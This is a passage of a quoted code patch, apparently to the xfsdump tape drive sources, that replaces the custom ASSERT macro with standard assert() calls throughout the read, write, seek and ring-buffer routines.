RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > > @@ -1690,7 +1691,7 @@ do_begin_write( drive_t *drivep ) > /* prepare the drive context. must have a record buffer ready to > * go, header initialized. > */ > - ASSERT( ! contextp->dc_ownedp ); > + assert( ! contextp->dc_ownedp ); > contextp->dc_reccnt = 1; /* count the header record */ > contextp->dc_recendp = contextp->dc_recp + tape_recsz; > contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; > @@ -1735,15 +1736,15 @@ do_set_mark( drive_t *drivep, > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > > /* calculate and fill in the mark record offset > */ > - ASSERT( contextp->dc_recp ); > + assert( contextp->dc_recp ); > nextoff = contextp->dc_reccnt * ( off64_t )tape_recsz > + > ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); > @@ -1758,7 +1759,7 @@ do_set_mark( drive_t *drivep, > */ > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > if ( rechdrp->first_mark_offset == -1LL ) { > - ASSERT( nextoff != -1LL ); > + assert( nextoff != -1LL ); > rechdrp->first_mark_offset = nextoff; > } > > @@ -1771,7 +1772,7 @@ do_set_mark( drive_t *drivep, > drivep->d_markrecheadp = markrecp; > drivep->d_markrectailp = markrecp; > } else { > - ASSERT( drivep->d_markrectailp ); > + assert( drivep->d_markrectailp ); > drivep->d_markrectailp->dm_nextp = markrecp; > drivep->d_markrectailp = markrecp; > } > @@ -1798,12 +1799,12 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* figure how much is available; supply the min of what is > * available and what is wanted. > @@ -1864,17 +1865,17 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp <= contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp <= contextp->dc_recendp ); > > /* verify the caller is returning exactly what is held > */ > - ASSERT( bufp == contextp->dc_ownedp ); > - ASSERT( retcnt == heldcnt ); > + assert( bufp == contextp->dc_ownedp ); > + assert( retcnt == heldcnt ); > > /* take it back > */ > @@ -1915,7 +1916,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) > rval = contextp->dc_msgp->rm_rval; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > return DRIVE_ERROR_CORE; > } > } > @@ -1979,12 +1980,12 @@ do_get_align_cnt( drive_t * drivep ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* calculate the next alignment point at or beyond the current nextp. > * the following algorithm works because all buffers are page-aligned > @@ -1994,11 +1995,11 @@ do_get_align_cnt( drive_t * drivep ) > next_alignment_off += PGMASK; > next_alignment_off &= ~PGMASK; > next_alignment_point = ( char * )next_alignment_off; > - ASSERT( next_alignment_point <= contextp->dc_recendp ); > + assert( next_alignment_point <= contextp->dc_recendp ); > > /* return the number of bytes to the next alignment offset > */ > - ASSERT( next_alignment_point >= contextp->dc_nextp ); > + assert( next_alignment_point >= contextp->dc_nextp ); > return ( size_t )( next_alignment_point - contextp->dc_nextp ); > } > > @@ -2025,12 +2026,12 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* pre-initialize return of count of bytes committed to media > */ > @@ -2072,7 +2073,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > contextp->dc_recp, > BOOL_TRUE, BOOL_TRUE ); > } else { > - ASSERT( contextp->dc_msgp ); > + assert( contextp->dc_msgp ); > contextp->dc_msgp->rm_op = RING_OP_WRITE; > contextp->dc_msgp->rm_user = contextp->dc_reccnt; > Ring_put( contextp->dc_ringp, > @@ -2088,7 +2089,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > rval = contextp->dc_msgp->rm_rval; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_recp = 0; > return DRIVE_ERROR_CORE; > } > @@ -2115,7 +2116,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > } > if ( ! contextp->dc_singlethreadedpr ) { > while ( ! rval ) { > - ASSERT( contextp->dc_msgp ); > + assert( contextp->dc_msgp ); > contextp->dc_msgp->rm_op = RING_OP_TRACE; > Ring_put( contextp->dc_ringp, > contextp->dc_msgp ); > @@ -2127,14 +2128,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > switch( contextp->dc_msgp->rm_stat ) { > case RING_STAT_OK: > case RING_STAT_INIT: > - ASSERT( rval == 0 ); > + assert( rval == 0 ); > break; > case RING_STAT_ERROR: > rval = contextp->dc_msgp->rm_rval; > first_rec_w_err = contextp->dc_msgp->rm_user; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_recp = 0; > return DRIVE_ERROR_CORE; > } > @@ -2182,11 +2183,11 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > * to tape. > */ > if ( rval ) { > - ASSERT( first_rec_w_err >= 0 ); > + assert( first_rec_w_err >= 0 ); > recs_wtn_wo_err = first_rec_w_err; > recs_guaranteed = recs_wtn_wo_err - contextp->dc_lostrecmax; > } else { > - ASSERT( first_rec_w_err == -1 ); > + assert( first_rec_w_err == -1 ); > recs_wtn_wo_err = contextp->dc_iocnt; > recs_guaranteed = recs_wtn_wo_err; > } > @@ -2217,14 +2218,14 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_mode == OM_NONE ); > > mlog( MLOG_DEBUG | MLOG_DRIVE, > "rmt drive op: fsf: count %d\n", > count ); > > - ASSERT( count ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( count ); > + assert( contextp->dc_mode == OM_NONE ); > > for ( i = 0 ; i < count; i++ ) { > done = 0; > @@ -2243,7 +2244,7 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > _("advancing tape to next media file\n") ); > > op_failed = 0; > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > if ( mt_op( contextp->dc_fd, MTFSF, 1 ) ) { > op_failed = 1; > } > @@ -2294,14 +2295,14 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > "rmt drive op: bsf: count %d\n", > count ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_mode == OM_NONE ); > > *statp = 0; > > /* back space - places us to left of previous file mark > * if we hit BOT, return > */ > - ASSERT( drivep->d_capabilities & DRIVE_CAP_BSF ); > + assert( drivep->d_capabilities & DRIVE_CAP_BSF ); > rval = bsf_and_verify( drivep ); > if (rval) { > if (errno == ENOSPC/*IRIX*/ || errno == EIO/*Linux*/) { > @@ -2379,8 +2380,8 @@ do_rewind( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "rmt drive op: rewind\n" ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > > /* use validating tape rewind util func > */ > @@ -2405,8 +2406,8 @@ do_erase( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "rmt drive op: erase\n" ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > > /* use validating tape rewind util func > */ > @@ -2443,8 +2444,8 @@ do_eject_media( drive_t *drivep ) > > /* drive must be open > */ > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > > /* issue tape unload > */ > @@ -2563,7 +2564,7 @@ read_label( drive_t *drivep ) > /* if a read error, get status > */ > if ( nread != ( intgen_t )tape_recsz ) { > - ASSERT( nread < ( intgen_t )tape_recsz ); > + assert( nread < ( intgen_t )tape_recsz ); > } > > /* check for an unexpected errno > @@ -2720,7 +2721,7 @@ get_tpcaps( drive_t *drivep ) > #ifdef DEBUG > drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > #endif > > /* can't ask about blksz, can't set blksz, can't ask about > @@ -2796,7 +2797,7 @@ mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) > mop.mt_op = (short )sub_op; > mop.mt_count = param; > > - ASSERT( fd >= 0 ); > + assert( fd >= 0 ); > > switch ( sub_op ) { > case MTSEEK: > @@ -3074,7 +3075,7 @@ prepare_drive( drive_t *drivep ) > > /* shouldn't be here if drive is open > */ > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > > mlog( MLOG_VERBOSE | MLOG_DRIVE, > _("preparing drive\n") ); > @@ -3181,7 +3182,7 @@ prepare_drive( drive_t *drivep ) > contextp->dc_recp, > tape_recsz, > &saved_errno ); > - ASSERT( saved_errno == 0 || nread < 0 ); > + assert( saved_errno == 0 || nread < 0 ); > > /* RMT can require a retry > */ > @@ -3340,7 +3341,7 @@ checkhdr: > rec_hdr_t *tprhdrp; > drhdrp = drivep->d_readhdrp; > tprhdrp = ( rec_hdr_t * )drhdrp->dh_specific; > - ASSERT( tprhdrp->recsize >= 0 ); > + assert( tprhdrp->recsize >= 0 ); > tape_recsz = ( size_t )tprhdrp->recsize; > break; > } > @@ -3410,7 +3411,7 @@ Open( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: opening drive\n" ); > > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > > errno = 0; > contextp->dc_fd = open( drivep->d_pathname, oflags ); > @@ -3430,7 +3431,7 @@ Close( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: closing drive\n" ); > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > > ( void )close( contextp->dc_fd ); > > @@ -3447,8 +3448,8 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) > "tape op: reading %u bytes\n", > cnt ); > > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( bufp ); > + assert( contextp->dc_fd >= 0 ); > + assert( bufp ); > *errnop = 0; > errno = 0; > nread = read( contextp->dc_fd, ( void * )bufp, cnt ); > @@ -3483,8 +3484,8 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) > "tape op: writing %u bytes\n", > cnt ); > > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( bufp ); > + assert( contextp->dc_fd >= 0 ); > + assert( bufp ); > *errnop = 0; > errno = 0; > nwritten = write( contextp->dc_fd, ( void * )bufp, cnt ); > @@ -3664,7 +3665,7 @@ read_record( drive_t *drivep, char *bufp ) > /* short read > */ > if ( nread >= 0 ) { > - ASSERT( nread <= ( intgen_t )tape_recsz ); > + assert( nread <= ( intgen_t )tape_recsz ); > mlog( MLOG_DEBUG | MLOG_DRIVE, > "short read record %lld (nread == %d)\n", > contextp->dc_iocnt, > @@ -3726,7 +3727,7 @@ getrec( drive_t *drivep ) > contextp->dc_errorpr = BOOL_TRUE; > return contextp->dc_msgp->rm_rval; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_errorpr = BOOL_TRUE; > return DRIVE_ERROR_CORE; > } > @@ -3739,7 +3740,7 @@ getrec( drive_t *drivep ) > contextp->dc_nextp = contextp->dc_recp > + > STAPE_HDR_SZ; > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > } > > return 0; > @@ -3775,7 +3776,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) > } > > rval = determine_write_error( nwritten, saved_errno ); > - ASSERT(rval); > + assert(rval); > > return rval; > } > @@ -3814,7 +3815,7 @@ Ring_reset( ring_t *ringp, ring_msg_t *msgp ) > mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, > "ring op: reset\n" ); > > - ASSERT( ringp ); > + assert( ringp ); > > ring_reset( ringp, msgp ); > } > @@ -3845,14 +3846,14 @@ display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) > char *bufszsfxp; > > if ( tape_recsz == STAPE_MIN_MAX_BLKSZ ) { > - ASSERT( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); > + assert( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); > sprintf( bufszbuf, "%u", STAPE_MIN_MAX_BLKSZ / 0x400 ); > - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); > + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); > bufszsfxp = _("KB"); > } else if ( tape_recsz == STAPE_MAX_RECSZ ) { > - ASSERT( ! ( STAPE_MAX_RECSZ % 0x100000 )); > + assert( ! ( STAPE_MAX_RECSZ % 0x100000 )); > sprintf( bufszbuf, "%u", STAPE_MAX_RECSZ / 0x100000 ); > - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); > + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); > bufszsfxp = _("MB"); > } else { > sprintf( bufszbuf, "%u", (unsigned int)(tape_recsz / 0x400) ); > diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c > index 0abb5d0..3f45d01 100644 > --- a/common/drive_scsitape.c > +++ b/common/drive_scsitape.c > @@ -29,6 +29,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -551,11 +552,11 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > > /* opportunity for sanity checking > */ > - ASSERT( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); > - ASSERT( sizeof( rec_hdr_t ) > + assert( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); > + assert( sizeof( rec_hdr_t ) > == > sizeofmember( drive_hdr_t, dh_specific )); > - ASSERT( ! ( STAPE_MAX_RECSZ % PGSZ )); > + assert( ! ( STAPE_MAX_RECSZ % PGSZ )); > > /* hook up the drive ops > */ > @@ -564,7 +565,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > /* allocate context for the drive manager > */ > contextp = ( drive_context_t * )calloc( 1, sizeof( drive_context_t )); > - ASSERT( contextp ); > + assert( contextp ); > memset( ( void * )contextp, 0, sizeof( *contextp )); > > /* do not enable a separate I/O thread, > @@ -673,7 +674,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > */ > if ( contextp->dc_singlethreadedpr ) { > contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); > - ASSERT( contextp->dc_bufp ); > + assert( contextp->dc_bufp ); > } else { > intgen_t rval; > mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, > @@ -701,7 +702,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > _("not allowed " > "to pin down I/O buffer ring\n") ); > } else { > - ASSERT( 0 ); > + assert( 0 ); > } > return BOOL_FALSE; > } > @@ -834,18 +835,18 @@ do_begin_read( drive_t *drivep ) > > /* verify protocol being followed > */ > - ASSERT( drivep->d_capabilities & DRIVE_CAP_READ ); > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( ! contextp->dc_recp ); > + assert( drivep->d_capabilities & DRIVE_CAP_READ ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( ! contextp->dc_recp ); > > /* get a record buffer to use during initialization. > */ > if ( contextp->dc_singlethreadedpr ) { > contextp->dc_recp = contextp->dc_bufp; > } else { > - ASSERT( contextp->dc_ringp ); > + assert( contextp->dc_ringp ); > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > > @@ -855,7 +856,7 @@ do_begin_read( drive_t *drivep ) > */ > contextp->dc_iocnt = 0; > if ( contextp->dc_fd < 0 ) { > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > rval = prepare_drive( drivep ); > if ( rval ) { > if ( ! contextp->dc_singlethreadedpr ) { > @@ -876,7 +877,7 @@ do_begin_read( drive_t *drivep ) > return rval; > } > } > - ASSERT( contextp->dc_iocnt == 1 ); > + assert( contextp->dc_iocnt == 1 ); > /* set by prepare_drive or read_label */ > > /* all is well. adjust context. don't kick off read-aheads just yet; > @@ -937,10 +938,10 @@ do_read( drive_t *drivep, > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( wantedcnt > 0 ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( wantedcnt > 0 ); > > /* clear the return status field > */ > @@ -966,7 +967,7 @@ do_read( drive_t *drivep, > */ > contextp->dc_ownedp = contextp->dc_nextp; > contextp->dc_nextp += actualcnt; > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > > mlog( MLOG_NITTY | MLOG_DRIVE, > "drive op read actual == %d (0x%x)\n", > @@ -999,16 +1000,16 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( contextp->dc_ownedp ); > - ASSERT( bufp == contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( contextp->dc_ownedp ); > + assert( bufp == contextp->dc_ownedp ); > > /* calculate how much the caller owns > */ > - ASSERT( contextp->dc_nextp >= contextp->dc_ownedp ); > + assert( contextp->dc_nextp >= contextp->dc_ownedp ); > ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); > - ASSERT( ownedcnt == retcnt ); > + assert( ownedcnt == retcnt ); > > /* take possession of buffer portion > */ > @@ -1018,7 +1019,7 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) > * and (if ring in use) give buffer to ring for read-ahead. > */ > if ( contextp->dc_nextp >= contextp->dc_dataendp ) { > - ASSERT( contextp->dc_nextp == contextp->dc_dataendp ); > + assert( contextp->dc_nextp == contextp->dc_dataendp ); > if ( ! contextp->dc_singlethreadedpr ) { > contextp->dc_msgp->rm_op = RING_OP_READ; > Ring_put( contextp->dc_ringp, contextp->dc_msgp ); > @@ -1049,9 +1050,9 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > /* the mark is simply the offset into the media file of the > * next byte to be read. > @@ -1090,9 +1091,9 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > > /* the desired mark is passed by reference, and is really just an > @@ -1115,18 +1116,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; > #endif > > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz ); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > currentoffset += ( off64_t )recoff; > } > - ASSERT( wantedoffset >= currentoffset ); > + assert( wantedoffset >= currentoffset ); > > /* if we are currently holding a record and the desired offset > * is not within the current record, eat the current record. > @@ -1149,12 +1150,12 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > * must be just after it. > */ > if ( rechdrp->rec_used < tape_recsz ) { > - ASSERT( wantedoffset == nextrecoffset ); > + assert( wantedoffset == nextrecoffset ); > } > > /* figure how much to ask for > */ > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > @@ -1172,13 +1173,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > currentoffset += ( off64_t )actualcnt; > - ASSERT( currentoffset == nextrecoffset ); > - ASSERT( wantedoffset >= currentoffset ); > - ASSERT( ! contextp->dc_recp ); > - ASSERT( currentoffset > + assert( currentoffset == nextrecoffset ); > + assert( wantedoffset >= currentoffset ); > + assert( ! contextp->dc_recp ); > + assert( currentoffset > == > contextp->dc_reccnt * ( off64_t )tape_recsz ); > } > @@ -1197,14 +1198,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > off64_t wantedreccnt; > seekmode_t seekmode; > > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > wantedreccnt = wantedoffset / ( off64_t )tape_recsz; > if ( contextp->dc_singlethreadedpr ) { > seekmode = SEEKMODE_RAW; > } else { > seekmode = SEEKMODE_BUF; > } > - ASSERT( wantedreccnt != 0 ); /* so NOP below can be > + assert( wantedreccnt != 0 ); /* so NOP below can be > * distinguished from use > * in do_begin_read > */ > @@ -1214,7 +1215,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > > if ( seekmode == SEEKMODE_BUF ) { > ring_stat_t rs; > - ASSERT( ! contextp->dc_msgp ); > + assert( ! contextp->dc_msgp ); > contextp->dc_msgp = > Ring_get( contextp->dc_ringp ); > rs = contextp->dc_msgp->rm_stat; > @@ -1227,7 +1228,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rs != RING_STAT_INIT > && > rs != RING_STAT_NOPACK ) { > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_errorpr = BOOL_TRUE; > return DRIVE_ERROR_CORE; > } > @@ -1249,8 +1250,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > continue; > } > > - ASSERT( contextp->dc_reccnt == contextp->dc_iocnt ); > - ASSERT( wantedreccnt > contextp->dc_reccnt ); > + assert( contextp->dc_reccnt == contextp->dc_iocnt ); > + assert( wantedreccnt > contextp->dc_reccnt ); > recskipcnt64 = wantedreccnt - contextp->dc_reccnt; > recskipcnt64remaining = recskipcnt64; > while ( recskipcnt64remaining ) { > @@ -1258,14 +1259,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > intgen_t saved_errno; > intgen_t rval; > > - ASSERT( recskipcnt64remaining > 0 ); > + assert( recskipcnt64remaining > 0 ); > if ( recskipcnt64remaining > INTGENMAX ) { > recskipcnt = INTGENMAX; > } else { > recskipcnt = ( intgen_t ) > recskipcnt64remaining; > } > - ASSERT( recskipcnt > 0 ); > + assert( recskipcnt > 0 ); > rval = mt_op( contextp->dc_fd, > MTFSR, > recskipcnt ); > @@ -1287,8 +1288,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > currentoffset = contextp->dc_reccnt > * > ( off64_t )tape_recsz; > - ASSERT( wantedoffset >= currentoffset ); > - ASSERT( wantedoffset - currentoffset > + assert( wantedoffset >= currentoffset ); > + assert( wantedoffset - currentoffset > < > ( off64_t )tape_recsz ); > } > @@ -1303,7 +1304,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > size_t actualcnt; > intgen_t rval; > > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > > /* figure how much to ask for. to eat an entire record, > * ask for a record sans the header. do_read will eat > @@ -1318,11 +1319,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > currentoffset += ( off64_t )tape_recsz; > - ASSERT( currentoffset > + assert( currentoffset > == > contextp->dc_reccnt * ( off64_t )tape_recsz ); > } > @@ -1335,8 +1336,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > char *dummybufp; > size_t actualcnt; > > - ASSERT( wantedoffset > currentoffset ); > - ASSERT( wantedoffset - currentoffset < ( off64_t )tape_recsz ); > + assert( wantedoffset > currentoffset ); > + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); > wantedcnt = ( size_t )( wantedoffset - currentoffset ); > if ( contextp->dc_recp ) { > u_int32_t recoff; > @@ -1346,14 +1347,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz ); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > - ASSERT( recoff + wantedcnt <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > + assert( recoff + wantedcnt <= rechdrp->rec_used ); > } else { > - ASSERT( wantedcnt >= STAPE_HDR_SZ ); > + assert( wantedcnt >= STAPE_HDR_SZ ); > wantedcnt -= STAPE_HDR_SZ; > } > > @@ -1366,7 +1367,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > if ( rval ) { > return rval; > } > - ASSERT( actualcnt == wantedcnt ); > + assert( actualcnt == wantedcnt ); > do_return_read_buf( drivep, dummybufp, actualcnt ); > } > } > @@ -1381,18 +1382,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; > #endif > > - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); > + assert( contextp->dc_nextp >= contextp->dc_recp ); > recoff = ( u_int32_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( recoff <= tape_recsz 